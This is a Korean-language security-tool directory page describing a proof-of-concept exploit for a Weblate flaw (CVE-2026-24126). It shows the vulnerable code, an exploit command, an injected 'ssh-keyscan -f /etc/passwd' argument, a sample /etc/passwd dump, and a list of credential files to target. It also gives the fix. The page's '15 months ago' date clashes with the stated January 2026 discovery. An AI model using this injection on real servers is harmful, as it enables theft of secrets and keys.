Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Weblate-CVE-2026-24126 — CVE-2026-24126에 대한 개념 증명 익스플로잇으로, SSH 호스트 인수 주입을 통해 Weblate에서 임의 파일 읽기를 가능하게 하며, 인증된 관리자가 서버 파일을 읽을 수 있게 합니다. | Kitploit
도구/GitHubGitHub/alexb616/weblate-cve-2026-24126
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

CVE-2026-24126에 대한 개념 증명 익스플로잇으로, SSH 호스트 인수 주입을 통해 Weblate에서 임의 파일 읽기를 가능하게 하며, 인증된 관리자가 서버 파일을 읽을 수 있게 합니다.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Weblate — SSH 호스트 인자 주입을 통한 임의 파일 읽기

발견자: Alejandro Baño · 2026년 1월 승인: Weblate 5.16 릴리스 노트


개요

Weblate의 SSH 호스트 키 관리 엔드포인트는 인증된 관리자가 제공한 host 매개변수를 검증이나 인자 검사 없이 ssh-keyscan에 직접 전달합니다. ssh-keyscan은 호스트 이름을 파일에서 읽어들이는 -f <file> 플래그를 허용하므로, 관리자 자격 증명을 가진 공격자는 해당 플래그를 호스트 값으로 주입하여 서버가 임의의 로컬 파일을 열도록 강제할 수 있습니다. 결과로 발생하는 오류 출력(또는 표준 출력)은 오류 메시지 블록 내부에 그대로 브라우저에 반영되어 파일 내용이 유출됩니다.


취약점 세부 정보

필드값
대상Weblate (자체 호스팅 인스턴스)
구성 요소SSH 키 관리 — weblate/ssh/views.py · add_host_key()
필요 인증예 — Weblate 관리자 계정
영향을 받는 버전5.15.2 이하 모든 버전 (5.0.2 및 5.15.2에서 테스트됨)
영향웹 서버 프로세스 사용자(weblate, www-data 등) 권한으로 임의 로컬 파일 읽기
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

근본 원인

root@kitploit:~
# weblate/ssh/views.py  — 단순화된 코드
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host가 검증 없이 추가됨
    result = subprocess.run(cmdline, ...)

host 값은 POST 본문의 host 필드에서 직접 가져오며, 허용 목록이 없고, 앞의 대시가 제거되지 않으며, 사용자 제공 값 앞에 -- 인자 종결자도 없습니다. 이를 통해 공격자는 임의의 ssh-keyscan 플래그를 주입할 수 있습니다.

ssh-keyscan -f /etc/passwd는 /etc/passwd를 호스트 이름 목록으로 읽고 각 줄을 확인하지 못해 모든 줄에 대해 오류 출력을 생성합니다. 이 오류 출력은 CalledProcessError 핸들러를 통해 전파되어 HTTP 응답의 alert-danger 블록에 표시됩니다.


개념 증명

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

옵션

플래그설명
-r / --rhostWeblate 인스턴스의 기본 URL
-u / --username관리자 사용자 이름
-p / --password관리자 비밀번호
-f / --file서버에서 읽을 파일 경로

예시 출력

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] 사용자 admin 로그인 성공
[*] http://localhost/manage/ssh/에 페이로드 전송 중, 시간이 걸릴 수 있으니 기다려 주세요...

[+] 추출된 파일 내용:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] 익스플로잇 완료

영향

Weblate를 실행하는 OS 사용자(일반적으로 weblate 사용자)가 읽을 수 있는 모든 파일은 단일 인증된 POST 요청을 통해 유출될 수 있습니다. 민감한 대상은 다음과 같습니다:

  • 애플리케이션 비밀: settings.py, .env, local_settings.py
  • 개인 SSH 키: /var/lib/weblate/.ssh/id_rsa
  • 구성 파일에 노출된 데이터베이스 자격 증명

해결 방법

Weblate 5.16.0 이상으로 업데이트하세요. 이는 Weblate 팀이 2026년 2월 18일에 발표한 공식 수정 사항으로, SSH 호스트 필드에 대한 적절한 입력 검증을 도입했습니다.

면책 조항

이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드